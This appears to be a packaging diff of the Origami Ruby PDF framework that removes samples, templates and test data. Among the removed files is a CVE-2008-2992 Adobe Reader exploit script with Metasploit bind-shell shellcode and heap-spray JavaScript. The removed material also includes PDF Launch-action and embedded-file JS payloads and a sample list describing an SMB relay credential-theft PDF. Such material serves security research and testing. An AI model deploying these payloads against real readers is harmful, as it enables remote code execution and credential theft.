"Now generating a new PDF file from scratch!" - -# Creating a new file -pdf = PDF.new - -# Embedding the file into the PDF. -pdf.attach_file(INPUTFILE, - :EmbeddedName => "README.txt", - :Filter => :ASCIIHexDecode -) - -contents = ContentStream.new -contents.write "File attachment sample", - :x => 250, :y => 750, :rendering => Text::Rendering::FILL, :size => 30 - -pdf.append_page Page.new.setContents(contents) - -pdf.onDocumentOpen Action::JavaScript < 'aes', :key_size => 256) - -contents = ContentStream.new -contents.write "Crypto sample", - :x => 350, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30 - -pdf.append_page Page.new.setContents(contents) - -pdf.save(OUTPUTFILE) - -puts "PDF file saved as #{OUTPUTFILE}." - Binary files /tmp/P47rXCMc2T/origami-1.2.7/samples/digsig/signed.pdf and /tmp/vM7QXlItzc/origami-1.2.7+really0.7.4/samples/digsig/signed.pdf differ diff -Nru origami-1.2.7/samples/digsig/signed.rb origami-1.2.7+really0.7.4/samples/digsig/signed.rb --- origami-1.2.7/samples/digsig/signed.rb 2011-10-18 14:06:40.000000000 +0000 +++ origami-1.2.7+really0.7.4/samples/digsig/signed.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,46 +0,0 @@ -#!/usr/bin/ruby - -require 'openssl' - -begin - require 'origami' -rescue LoadError - ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" - $: << ORIGAMIDIR - require 'origami' -end -include Origami - -OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" -CERTFILE = "test.crt" -RSAKEYFILE = "test.key" - -contents = ContentStream.new.setFilter(:FlateDecode) -contents.write OUTPUTFILE, - :x => 350, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30 - -pdf = PDF.new -page = Page.new.setContents(contents) -pdf.append_page(page) - -# Open certificate files -cert = OpenSSL::X509::Certificate.new(File.open(CERTFILE).read) -key = OpenSSL::PKey::RSA.new(File.open(RSAKEYFILE).read) - -sigannot = Annotation::Widget::Signature.new -sigannot.Rect = Rectangle[:llx => 89.0, :lly => 386.0, :urx => 190.0, :ury => 353.0] - -page.add_annot(sigannot) - -# Sign the PDF with the specified keys -pdf.sign(cert, key, - :method => 'adbe.pkcs7.sha1', - :annotation => sigannot, - :location => "France", - :contact => "fred@security-labs.org", - :reason => "Proof of Concept" -) - -# Save the resulting file -pdf.save(OUTPUTFILE) - diff -Nru origami-1.2.7/samples/exploits/cve-2008-2992-utilprintf.rb origami-1.2.7+really0.7.4/samples/exploits/cve-2008-2992-utilprintf.rb --- origami-1.2.7/samples/exploits/cve-2008-2992-utilprintf.rb 2013-03-19 16:19:25.000000000 +0000 +++ origami-1.2.7+really0.7.4/samples/exploits/cve-2008-2992-utilprintf.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,87 +0,0 @@ -#!/usr/bin/env ruby - -begin - require 'origami' -rescue LoadError - ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" - $: << ORIGAMIDIR - require 'origami' -end -include Origami - -pdf = PDF.read(ARGV[0]) - -# win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com -win32_bin = "%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949%u4949%u4949%u4949%u4949%u4949%u4937%u5a51%u436a%u3058%u3142%u4150%u6b42%u4141%u4153%u4132%u3241%u4142%u4230%u5841%u3850%u4241%u7875%u4b69%u724c%u584a%u526b%u4a6d%u4a48%u6b59%u6b4f%u694f%u416f%u4e70%u526b%u744c%u4164%u6e34%u376b%u5535%u4c6c%u714b%u646c%u6145%u7468%u6a41%u6e4f%u626b%u326f%u6c38%u334b%u376f%u5550%u7851%u316b%u6c59%u504b%u6e34%u466b%u6861%u456e%u6f61%u6c30%u6c59%u6b6c%u3934%u4150%u3764%u6877%u6941%u565a%u636d%u4b31%u7872%u6c6b%u7534%u566b%u3134%u5734%u5458%u6b35%u6e55%u336b%u556f%u7474%u7841%u416b%u4c76%u464b%u626c%u6e6b%u416b%u354f%u564c%u6861%u666b%u3663%u6c4c%u6b4b%u7239%u444c%u5764%u616c%u4f71%u4733%u6b41%u336b%u4c54%u634b%u7073%u6c30%u534b%u6470%u6c4c%u724b%u4550%u4e4c%u6c4d%u374b%u7530%u7358%u426e%u4c48%u524e%u466e%u586e%u566c%u3930%u586f%u7156%u4676%u7233%u6346%u3058%u7033%u3332%u5458%u5237%u4553%u5162%u504f%u4b54%u5a4f%u3370%u6a58%u686b%u596d%u456c%u466b%u4930%u596f%u7346%u4e6f%u5869%u7365%u4d56%u5851%u366d%u6468%u7242%u7275%u674a%u5972%u6e6f%u7230%u4a48%u5679%u6b69%u6e45%u764d%u6b37%u584f%u3356%u3063%u5053%u7653%u7033%u3353%u5373%u3763%u5633%u6b33%u5a4f%u3270%u5046%u3568%u7141%u304c%u3366%u6c63%u6d49%u6a31%u7035%u6e68%u3544%u524a%u4b50%u7177%u4b47%u4e4f%u3036%u526a%u3130%u7041%u5955%u6e6f%u3030%u6c68%u4c64%u546d%u796e%u3179%u5947%u596f%u4646%u6633%u6b35%u584f%u6350%u4b58%u7355%u4c79%u4146%u6359%u4b67%u784f%u7656%u5330%u4164%u3344%u7965%u4e6f%u4e30%u7173%u5878%u6167%u6969%u7156%u6269%u3977%u6a6f%u5176%u4945%u4e6f%u5130%u5376%u715a%u7274%u6246%u3048%u3063%u6c6d%u5a49%u6345%u625a%u7670%u3139%u5839%u4e4c%u4d69%u5337%u335a%u4e74%u4b69%u5652%u4b51%u6c70%u6f33%u495a%u336e%u4472%u6b6d%u374e%u7632%u6e4c%u6c73%u704d%u767a%u6c58%u4e6b%u4c4b%u736b%u5358%u7942%u6d6e%u7463%u6b56%u304f%u7075%u4b44%u794f%u5346%u706b%u7057%u7152%u5041%u4251%u4171%u337a%u4231%u4171%u5141%u6645%u6931%u5a6f%u5070%u6e68%u5a4d%u5679%u6865%u334e%u3963%u586f%u6356%u4b5a%u4b4f%u704f%u4b37%u4a4f%u4c70%u614b%u6b47%u4d4c%u6b53%u3174%u4974%u596f%u7046%u5952%u4e6f%u6330%u6c58%u6f30%u577a%u6174%u324f%u4b73%u684f%u3956%u386f%u4350" - - -# linux/x86/shell_bind_tcp - 105 bytes -# http://www.metasploit.com -# Encoder: x86/shikata_ga_nai -# AppendExit=false, PrependSetresuid=false, -# PrependSetuid=false, LPORT=4444, RHOST=, -# PrependSetreuid=false -linux_bin = "%u7dbf%uca55%u2ba7%udbc9%ub1d3%ud914%u2474%u5bf4%ueb83%u31fc%u0e7b%u7b03%u9f0e%ufba0%ua87c%uafa8%u05c1%u5245%u484f%u3429%u0a82%ue711%u624e%u1559%u2e7e%u0acf%u9ed1%uca86%u78bb%uc1c1%u0dbc%uddb0%u090f%ub883%u91a2%uf4a0%u5c5b%u66a6%u34fa%ud098%u4830%u99af%u2032%u751f%ud8b0%ua637%u7154%u31a6%ud17b%ucb65%u619d%u0682%u41dd" - -shellcode = linux_bin - -jscript = %Q| -/* -From: http://www.milw0rm.com/exploits/7006 - -Adobe Reader Javascript Printf Buffer Overflow Exploit -=========================================================== -Reference: http://www.coresecurity.com/content/adobe-reader-buffer-overflow -CVE-2008-2992 - -Thanks to coresecurity for the technical background. - -6Nov,2008: Exploit released by me - -Credits: Debasis Mohanty -www.hackingspirits.com -www.coffeeandsecurity.com -=========================================================== - -//Exploit by Debasis Mohanty (aka nopsledge/Tr0y) -//www.coffeeandsecurity -//www.hackingspirits.com -*/ - - app.alert("Prepare the spray"); - - var shellcode = unescape("#{shellcode}"); - - //Heap Spray starts here - Kiddos dont mess up with this - var nop =""; - for (i = 128;i >= 0; --i) nop += unescape("%u9090%u9090%u9090%u9090%u9090"); - heapblock = nop + shellcode; - - bigblock = unescape("%u9090%u9090"); - headersize = 20; - spray = headersize+heapblock.length - while (bigblock.length true, :navigation_pane => true, :toolbar => true) - -# Setting the player position on the page. -annot.Rect = Rectangle.new(204, 573, 403, 718) - -pdf.save(OUTPUTFILE) - -puts "PDF file saved as #{OUTPUTFILE}." diff -Nru origami-1.2.7/samples/javascript/attached.txt origami-1.2.7+really0.7.4/samples/javascript/attached.txt --- origami-1.2.7/samples/javascript/attached.txt 2011-09-29 15:18:36.000000000 +0000 +++ origami-1.2.7+really0.7.4/samples/javascript/attached.txt 1970-01-01 00:00:00.000000000 +0000 @@ -1 +0,0 @@ -***THIS IS THE EMBEDDED FILE*** diff -Nru origami-1.2.7/samples/javascript/js.rb origami-1.2.7+really0.7.4/samples/javascript/js.rb --- origami-1.2.7/samples/javascript/js.rb 2013-03-19 16:19:25.000000000 +0000 +++ origami-1.2.7+really0.7.4/samples/javascript/js.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,52 +0,0 @@ -#!/usr/bin/env ruby - -begin - require 'origami' -rescue LoadError - ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" - $: << ORIGAMIDIR - require 'origami' -end -include Origami - -if defined?(PDF::JavaScript::Engine) - - INPUTFILE = "attached.txt" - - # Creating a new file - pdf = PDF.new - - # Embedding the file into the PDF. - pdf.attach_file(INPUTFILE, - :EmbeddedName => "README.txt", - :Filter => :ASCIIHexDecode - ) - - # Example of JS payload - pdf.onDocumentOpen Action::JavaScript <<-JS - if ( app.viewerVersion == 8 ) - eval("this.exportDataObject({cName:'README.txt', nLaunch:2});"); - this.closeDoc(); - JS - - - # Tweaking the engine options - pdf.js_engine.options[:log_method_calls] = true - pdf.js_engine.options[:viewerVersion] = 8 - - # Hooking eval() - pdf.js_engine.hook 'eval' do |eval, expr| - puts "Hook: eval(#{expr.inspect})" - eval.call(expr) # calling the real eval method - end - - # Example of inline JS evaluation - pdf.eval_js 'console.println(util.stringFromStream(this.getDataObjectContents("README.txt")))' - - # Executes the string as a JS script - pdf.Catalog.OpenAction[:JS].eval_js - -else - puts "JavaScript support not found. You need to install therubyracer gem." -end - diff -Nru origami-1.2.7/samples/README.txt origami-1.2.7+really0.7.4/samples/README.txt --- origami-1.2.7/samples/README.txt 2011-04-25 18:38:07.000000000 +0000 +++ origami-1.2.7+really0.7.4/samples/README.txt 1970-01-01 00:00:00.000000000 +0000 @@ -1,45 +0,0 @@ -:: SUBDIRECTORIES -================= - -``attachments/`` -* Adding a file attachment to a PDF document. - -``crypto/`` -* PDF encryption (supports RC4 40-128 bits, and AES128). - - crypto.rb : Create a simple encrypted document. - - encrypt.rb : Encrypt an existing document. - -``digsig/`` -* PDF digital signatures. Create a new document and signs it with test.key. - -``exploits/`` -* Basic exploits PoC generation. - -``flash/`` -* PDF with Flash object. Create a document with an embedded SWF file. - -``actions/launch/`` -* Launch action. Create a document launching the calculator on Windows, Unix and MacOS. - -``actions/loop/`` -* Create a looping document using GoTo and Named actions (see also moebius in the scripts directory). - -``actions/named/`` -* Named action. Create a document prompting for printing. - -``actions/triggerevents/`` -* Create a document launching JS scripts on various events. - -``actions/webbug/`` -* Create a document connecting to a remote server. - - webbug-browser.rb : Connection using a URI action. - - webbug-reader.rb : Connection using a SubmitForm action. - - webbug-js.rb : Connection using JS script. - -``actions/samba/`` -* Implementation of a SMB relay attack using PDF. When opened in a - browser on Windows, the document tries to access a document shared - on a malicious SMB server (on a LAN). The server will then be able - to steal user credentials. This script merely forges the malicious - PDF document. - diff -Nru origami-1.2.7/templates/patterns.rb origami-1.2.7+really0.7.4/templates/patterns.rb --- origami-1.2.7/templates/patterns.rb 2010-03-30 13:56:37.000000000 +0000 +++ origami-1.2.7+really0.7.4/templates/patterns.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,66 +0,0 @@ -=begin - -= File - patterns.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - module Template - - class AxialGradient < Graphics::Pattern::Shading::Axial - - def initialize(from, to, color0, color1, coeff = 1) - super() - - set_indirect(true) - - x, y = from - tx, ty = to - - c0 = Graphics::Color.to_a(color0) - c1 = Graphics::Color.to_a(color1) - - space = - case c0.size - when 1 then Graphics::Color::Space::DEVICE_GRAY - when 3 then Graphics::Color::Space::DEVICE_RGB - when 4 then Graphics::Color::Space::DEVICE_CMYK - end - - f = Function::Exponential.new - f.Domain = [ 0.0, 1.0 ] - f.N = coeff - f.C0, f.C1 = c0, c1 - - self.ColorSpace = space - self.Coords = [ x, y, tx, ty ] - self.Function = f - self.Extend = [ true, true ] - - end - - end - - end - -end diff -Nru origami-1.2.7/templates/widgets.rb origami-1.2.7+really0.7.4/templates/widgets.rb --- origami-1.2.7/templates/widgets.rb 2010-03-30 13:56:37.000000000 +0000 +++ origami-1.2.7+really0.7.4/templates/widgets.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,173 +0,0 @@ -=begin - -= File - widgets.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - module Template - - class Button < Annotation::Widget::PushButton - - def initialize(x,y,width,height, caption, id = nil) - super() - - set_indirect(true) - - self.H = Annotation::Widget::Highlight::INVERT - self.Rect = [ x, y, x+width, y+height ] - self.F = Annotation::Flags::PRINT - self.T = id - - appstm = Annotation::AppearanceStream.new.setFilter(:FlateDecode) - appstm.BBox = [ 0, 0, width, height ] - appstm.Matrix = [ 1, 0, 0, 1, 0, 0 ] - - appstm.draw_rectangle(0, 0, width, height, - :fill => true, :stroke => false, :fill_color => Graphics::Color::RGB.new(0xE6, 0xE6, 0xFA)) - - appstm.draw_polygon([[1,1],[1,height-1],[width-1,height-1],[width-2,height-2],[2,height-2],[2,2]], - :fill => true, :stroke => false, :fill_color => Graphics::Color::GrayScale.new(1.0)) - - appstm.draw_polygon([[width-1,height-1],[width-1,1],[1,1],[2,2],[width-2,2],[width-2,height-2]], - :fill => true, :stroke => false, :fill_color => Graphics::Color::RGB.new(130, 130, 130)) - - appstm.draw_rectangle(0.5, 0.5, width-1, height-1, - :fill => false, :stroke => true, :stroke_color => Graphics::Color::GrayScale.new(0.0)) - - text_width = 4.75 * caption.length - appstm.write(caption, - :x => (width - text_width)/2, :y => height/2-5, :size => 10) - - appstm.Resources = Resources.new - set_normal_appearance(appstm) - end - - end - - class Edit < Annotation::Widget::Text - - def initialize(x,y,width,height, id) - super() - - set_indirect(true) - - self.Rect = [ x, y, x+width, y+height ] - self.F = Annotation::Flags::PRINT - self.T = id - self.DA = '/F1 12 Tf 0 g' - - appstm = Annotation::AppearanceStream.new.setFilter(:FlateDecode) - appstm.BBox = [ 0, 0, width, height ] - appstm.Matrix = [ 1, 0, 0, 1, 0, 0 ] - - appstm.draw_rectangle(0, 0, width, height, - :fill => false, :stroke => true, :stroke_color => Graphics::Color::GrayScale.new(0.0)) - - appstm.draw_polygon([[1,1],[1,height-1],[width-1,height-1],[width-2,height-2],[2,height-2],[2,2]], - :fill => true, :stroke => false, :fill_color => Graphics::Color::RGB.new(130, 130, 130)) - - appstm.draw_polygon([[width-1,height-1],[width-1,1],[1,1],[2,2],[width-2,2],[width-2,height-2]], - :fill => true, :stroke => false, :fill_color => Graphics::Color::GrayScale.new(1.0)) - - appstm.draw_rectangle(0.5, 0.5, width-1, height-1, - :fill => false, :stroke => true, :stroke_color => Graphics::Color::GrayScale.new(0.0)) - - set_normal_appearance(appstm) - end - - end - - class MultiLineEdit < Edit - - def initialize(x,y,width,height, id) - - super(x,y,width,height,id) - - self.Ff ||= 0 - self.Ff |= Annotation::Widget::Text::Flags::MULTILINE - end - - end - - class RichTextEdit < MultiLineEdit - - def initialize(x,y,width,height, id) - - super(x,y,width,height,id) - - self.F |= Annotation::Flags::READONLY - self.Ff |= (Annotation::Widget::Text::Flags::RICHTEXT | Field::Flags::READONLY) - end - - end - - class PasswordEdit < Edit - - def initialize(x,y,width,height, id) - - super(x,y,width,height,id) - - self.Ff ||= 0 - self.Ff |= Annotation::Widget::Text::Flags::PASSWORD - - end - - end - - class TextPanel < Annotation::FreeText - - def initialize(x,y,width,height, id) - super() - - set_indirect(true) - - self.Rect = [ x, y, x+width, y+height ] - self.F = Annotation::Flags::PRINT - self.NM = id - self.DA = '/F1 12 Tf 0 g' - - appstm = Annotation::AppearanceStream.new.setFilter(:FlateDecode) - appstm.BBox = [ 0, 0, width, height ] - appstm.Matrix = [ 1, 0, 0, 1, 0, 0 ] - - appstm.draw_rectangle(0, 0, width, height, - :fill => false, :stroke => true, :stroke_color => Graphics::Color::GrayScale.new(0.0)) - - appstm.draw_polygon([[1,1],[1,height-1],[width-1,height-1],[width-2,height-2],[2,height-2],[2,2]], - :fill => true, :stroke => false, :fill_color => Graphics::Color::RGB.new(130, 130, 130)) - - appstm.draw_polygon([[width-1,height-1],[width-1,1],[1,1],[2,2],[width-2,2],[width-2,height-2]], - :fill => true, :stroke => false, :fill_color => Graphics::Color::GrayScale.new(1.0)) - - appstm.draw_rectangle(0.5, 0.5, width-1, height-1, - :fill => false, :stroke => true, :stroke_color => Graphics::Color::GrayScale.new(0.0)) - - set_normal_appearance(appstm) - end - - end - - end - -end diff -Nru origami-1.2.7/templates/xdp.rb origami-1.2.7+really0.7.4/templates/xdp.rb --- origami-1.2.7/templates/xdp.rb 2010-10-22 14:51:31.000000000 +0000 +++ origami-1.2.7+really0.7.4/templates/xdp.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,92 +0,0 @@ -=begin - -= File - xdp.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - module Template - - class XMLForm < XDP::Package - def initialize(script = "") - super() - - self.root.add_element(create_config_packet) - self.root.add_element(create_template_packet(script)) - self.root.add_element(create_datasets_packet) - end - - def create_config_packet - config = XDP::Packet::Config.new - - present = config.add_element(XFA::Element.new("present")) - pdf = present.add_element(XFA::Element.new("pdf")) - interactive = pdf.add_element(XFA::Element.new("interactive")) - interactive.text = 1 - - config - end - - def create_template_packet(script) - template = XDP::Packet::Template.new - - form1 = template.add_subform(:layout => 'tb', :name => 'form1') - form1.add_pageSet - form1.add_event(:activity => 'initialize', :name => 'event__ready'). - add_script(:contentType => 'application/x-formcalc'). - text = script - - subform = form1.add_subform - - button = subform.add_field(:name => 'Button1') - button.add_ui.add_button(:highlight => 'inverted') - btncaption = button.add_caption - btncaption.add_value.add_text.text = "Send!" - btncaption.add_para(:vAlign => 'middle', :hAlign => 'center') - button.add_bind(:match => 'none') - button.add_event(:activity => 'click', :name => 'event__click'). - add_script(:contentType => 'application/x-formcalc'). - text = script - - txtfield = subform.add_field(:name => 'TextField1') - txtfield.add_ui.add_textEdit.add_border.add_edge(:stroke => 'lowered') - - template - end - - def create_datasets_packet - datasets = XDP::Packet::Datasets.new - data = datasets.add_element(XDP::Packet::Datasets::Data.new) - - data. - add_element(XFA::Element.new('form1')). - add_element(XFA::Element.new('TextField1')). - text = '$host.messageBox("test")' - - datasets - end - end - - end - -end diff -Nru origami-1.2.7/test/dataset/calc.pdf origami-1.2.7+really0.7.4/test/dataset/calc.pdf --- origami-1.2.7/test/dataset/calc.pdf 2011-10-12 15:46:36.000000000 +0000 +++ origami-1.2.7+really0.7.4/test/dataset/calc.pdf 1970-01-01 00:00:00.000000000 +0000 @@ -1,85 +0,0 @@ -%PDF-1.1 -1 0 obj -<< - /Type /Catalog - /OpenAction << - /F << - /DOS (C:\\\\WINDOWS\\\\system32\\\\calc.exe) - /Unix (/usr/bin/xcalc) - /Mac (/Applications/Calculator.app) - >> - /S /Launch - >> - /Pages 2 0 R ->> -endobj -2 0 obj -<< - /Type /Pages - /Count 1 - /Kids [ 3 0 R ] ->> -endobj -3 0 obj -<< - /Type /Page - /Contents 4 0 R - /Parent 2 0 R - /MediaBox [ 0 0 795 842 ] - /Resources << - /Font << - /F1 5 0 R - >> - >> ->> -endobj -4 0 obj -<< - /Length 1260 ->>stream -BT -/F1 30 Tf 350 750 Td 20 TL -1 Tr (calc.pdf) Tj -ET -BT -/F1 15 Tf 233 690 Td 20 TL -0 Tr (This page is empty but it should start calc :-D) Tj -ET -BT -/F1 15 Tf 233 670 Td 20 TL -(Dont be afraid of the pop-ups, just click them...) Tj -ET -BT -/F1 14 Tf 75 620 Td 20 TL -2 Tr (Comments:) Tj -ET -BT -/F1 12 Tf 75 600 Td 20 TL -0 Tr (Windows:) Tj ( - Foxit: runs calc.exe at the document opening without any user confirmation message \(!\) ) ' ( - Acrobat Reader *:) ' ( 1. popup proposing to open "calc.exe" \(warning\)) ' ( 2. starts "calc.exe") ' () ' (Mac:) ' ( - Preview does not support PDF keyword /Launch) ' ( - Acrobat Reader 8.1.2: starts Calculator.app) ' () ' (Linux:) ' ( ! Assumes xcalc is in /usr/bin/xcalc) ' ( - poppler: does not support PDF keyword /Launch) ' ( - Acrobat Reader 7: ) ' ( 1. popup telling it can not open "xcalc" \(dumb reasons\)) ' ( 2. popup proposing to open "xcalc" \(warning\)) ' ( 3. starts "xcalc") ' ( - Acrobat Reader 8.1.2: based on xdg-open) ' ( - if you are running KDE, Gnome or xfce, xcalc is started after a popup) ' ( - otherwise, your brower is started and tries to download "xcalc") ' () ' (Note:) ' (For Linux and Mac, no argument can be given to the command...) ' -ET -endstream -endobj -5 0 obj -<< - /Type /Font - /Subtype /Type1 - /Name /F1 - /BaseFont /Helvetica ->> -endobj -xref -0 6 -0000000000 65535 f -0000000010 00000 n -0000000234 00000 n -0000000303 00000 n -0000000457 00000 n -0000001776 00000 n -trailer -<< - /Root 1 0 R - /Size 6 ->> -startxref -1868 -%%EOF diff -Nru origami-1.2.7/test/dataset/crypto.pdf origami-1.2.7+really0.7.4/test/dataset/crypto.pdf --- origami-1.2.7/test/dataset/crypto.pdf 2011-10-12 15:46:36.000000000 +0000 +++ origami-1.2.7+really0.7.4/test/dataset/crypto.pdf 1970-01-01 00:00:00.000000000 +0000 @@ -1,82 +0,0 @@ -%PDF-1.5 -1 0 obj -<< - /Type /Catalog - /Pages 3 0 R ->> -endobj -2 0 obj -<< - /CF << - /StdCF << - /CFM /AESV2 - /Length 16 - /AuthEvent /DocOpen - >> - >> - /U (^v@~RO) - /StmF /StdCF - /StrF /StdCF - /EncryptMetadata true - /Length 128 - /R 4 - /O (6Eӝu;|,\(fZ5?4Sh\\W) - /V 4 - /Filter /Standard - /P 4294967292 ->> -endobj -3 0 obj -<< - /Type /Pages - /Kids [ 4 0 R ] - /Count 1 ->> -endobj -4 0 obj -<< - /Type /Page - /Contents 5 0 R - /Parent 3 0 R - /MediaBox [ 0 0 795 842 ] - /Resources << - /Font << - /F1 6 0 R - >> - >> ->> -endobj -5 0 obj -<< - /Length 80 ->>stream -<5tr'+Xys::|t0ɀ3w7o_ /]dV~mr0} ^gW8` -endstream -endobj -6 0 obj -<< - /Type /Font - /Subtype /Type1 - /Name /F1 - /BaseFont /Helvetica ->> -endobj -xref -0 7 -0000000000 65535 f -0000000010 00000 n -0000000067 00000 n -0000000380 00000 n -0000000449 00000 n -0000000603 00000 n -0000000740 00000 n -trailer -<< - /Encrypt 2 0 R - /Root 1 0 R - /Size 7 - /ID [ (ab6b04434692cfa11b430c824105ff35) (ab6b04434692cfa11b430c824105ff35) ] ->> -startxref -832 -%%EOF diff -Nru origami-1.2.7/test/dataset/empty.pdf origami-1.2.7+really0.7.4/test/dataset/empty.pdf --- origami-1.2.7/test/dataset/empty.pdf 2011-10-12 15:46:36.000000000 +0000 +++ origami-1.2.7+really0.7.4/test/dataset/empty.pdf 1970-01-01 00:00:00.000000000 +0000 @@ -1,49 +0,0 @@ -%PDF-1.0 -1 0 obj -<< - /Pages 2 0 R - /Type /Catalog ->> -endobj -2 0 obj -<< - /Kids [ 3 0 R ] - /Count 1 - /Type /Pages ->> -endobj -3 0 obj -<< - /Type /Page - /Parent 2 0 R - /MediaBox [ 0 0 795 842 ] - /Resources << - /Font << - /F1 4 0 R - >> - >> ->> -endobj -4 0 obj -<< - /Name /F1 - /Subtype /Type1 - /Type /Font - /BaseFont /Helvetica ->> -endobj -xref -0 5 -0000000000 65535 f -0000000010 00000 n -0000000067 00000 n -0000000136 00000 n -0000000272 00000 n -trailer -<< - /Root 1 0 R - /Size 5 ->> -startxref -364 -%%EOF diff -Nru origami-1.2.7/test/dataset/test.dummycrt origami-1.2.7+really0.7.4/test/dataset/test.dummycrt --- origami-1.2.7/test/dataset/test.dummycrt 2011-10-12 15:46:36.000000000 +0000 +++ origami-1.2.7+really0.7.4/test/dataset/test.dummycrt 1970-01-01 00:00:00.000000000 +0000 @@ -1,28 +0,0 @@ ------BEGIN CERTIFICATE----- -MIIE0zCCA7ugAwIBAgIJAPsOg8mXiWmIMA0GCSqGSIb3DQEBBQUAMIGhMQswCQYD -VQQGEwJGUjEWMBQGA1UECBMNSWxlLWRlLUZyYW5jZTEOMAwGA1UEBxMFUGFyaXMx -DzANBgNVBAoTBlNvZ2V0aTENMAsGA1UECxMERVNFQzEaMBgGA1UEAxQRR3VpbGxh -dW1lIERlbHVncoIxLjAsBgkqhkiG9w0BCQEWH2RhcmtwaG9lbml4QGJpbmFyeS1y -ZXZlcnNlci5vcmcwHhcNMDgwODIwMTIyMTMxWhcNMTgwODE4MTIyMTMxWjCBoTEL -MAkGA1UEBhMCRlIxFjAUBgNVBAgTDUlsZS1kZS1GcmFuY2UxDjAMBgNVBAcTBVBh -cmlzMQ8wDQYDVQQKEwZTb2dldGkxDTALBgNVBAsTBEVTRUMxGjAYBgNVBAMUEUd1 -aWxsYXVtZSBEZWx1Z3KCMS4wLAYJKoZIhvcNAQkBFh9kYXJrcGhvZW5peEBiaW5h -cnktcmV2ZXJzZXIub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA -pU1Hrr0RnHsh0dP5V8BPX+Q/jR/TVboZUaaNT+4fUYl7p6fMaQI0qEY3xMOMRtIV -qWTzARCumhRjVzCQzwawS5ZFiL6mU9F1NODxtj0KkgUXQ7LlDPR6HY0wc4IFlGw9 -DNdapEPhK3DOmsBWimwiekqSOaCYhq/iv32uyYs+mNVlfgjBaQxE6zyDsdizMj+h -DAHfuc4zbXFVn2E1rk9dMM5ozhvD6EX6CxLb2SkZyeiG4oXQA6z9RHyfupOxhpHM -xpt3ykteKyhA9icplO/OUrASsJyKk5w+V6Xd3z3FI9JDVbWKSCJ8fqEkVy7K4FJj -HmJg6v1pOujZPe65EnR43QIDAQABo4IBCjCCAQYwHQYDVR0OBBYEFFX7JF1lbd5q -oNhQCMUWOnUXVu7gMIHWBgNVHSMEgc4wgcuAFFX7JF1lbd5qoNhQCMUWOnUXVu7g -oYGnpIGkMIGhMQswCQYDVQQGEwJGUjEWMBQGA1UECBMNSWxlLWRlLUZyYW5jZTEO -MAwGA1UEBxMFUGFyaXMxDzANBgNVBAoTBlNvZ2V0aTENMAsGA1UECxMERVNFQzEa -MBgGA1UEAxQRR3VpbGxhdW1lIERlbHVncoIxLjAsBgkqhkiG9w0BCQEWH2Rhcmtw -aG9lbml4QGJpbmFyeS1yZXZlcnNlci5vcmeCCQD7DoPJl4lpiDAMBgNVHRMEBTAD -AQH/MA0GCSqGSIb3DQEBBQUAA4IBAQCIM2oUlghWGNqGPtFThC4mhSjkLE3FMrhw -ZMUCGCoBejtw8FewdaAj1TwjbN/QXT8C6whAuVMrBkTiPKWkT7p9VjwuP7+U84OP -lF7iHrnhD0WUsgrymoMn6e653VEh8rY1W7qQ5Z9qjdUD4EVLO7eQiqeUgvoi/bC+ -9wJlR5CfjY+lUQx5upZzm+quG3nq4m8Je0Ewv95euZP6vLGbzEvoHd97pwczJILZ -5hhFDb8fSP0nuwb4XSzZIsTmEU53sOhwXMosuTnIAzLnmKWiLQexQwebECvuPMVF -6VWc5hAV5gi8fMvQ2z2h+sCNNsfyauZQIIzGXZu/XU+xjFStyViC ------END CERTIFICATE----- diff -Nru origami-1.2.7/test/dataset/test.dummykey origami-1.2.7+really0.7.4/test/dataset/test.dummykey --- origami-1.2.7/test/dataset/test.dummykey 2011-10-12 15:46:36.000000000 +0000 +++ origami-1.2.7+really0.7.4/test/dataset/test.dummykey 1970-01-01 00:00:00.000000000 +0000 @@ -1,27 +0,0 @@ ------BEGIN RSA PRIVATE KEY----- -MIIEowIBAAKCAQEApU1Hrr0RnHsh0dP5V8BPX+Q/jR/TVboZUaaNT+4fUYl7p6fM -aQI0qEY3xMOMRtIVqWTzARCumhRjVzCQzwawS5ZFiL6mU9F1NODxtj0KkgUXQ7Ll 